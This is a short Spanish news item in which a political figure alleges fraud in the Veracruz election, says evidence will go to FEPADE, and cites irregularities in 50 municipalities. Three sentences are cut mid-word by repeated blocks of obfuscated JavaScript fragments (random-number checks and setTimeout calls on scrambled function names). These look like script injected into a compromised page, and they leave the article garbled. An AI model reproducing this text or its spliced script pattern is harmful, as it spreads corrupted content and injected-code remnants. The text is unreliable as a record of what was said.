“Seguramente acordaron un madruguete, y estamos solicitandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o que se retire del orden del día de hoy de los asuntos por resolver en la sala superior del tribunal el tema de Veracruz. Queremos que se contenga el tema, estaremos ratificandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}o pruebas ante la FEPADE. Vamos a agotar todas las pruebas para demostrar que hubo fraudes y transparentar la eleccion”, dijo.

Aclaró que la elección en Veracruz no se ha validado, por lo que insistirán en que se investigue antes de que se dé una resolución final.

Comentó que son 50 los municipios de Veracruz en donde se presentaron irregularidades tanto del PRI como del PAN por lo que apelarán para que se investiguen los fondos que financiaron las campañas de sus candom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}idatos para transparentar la elección.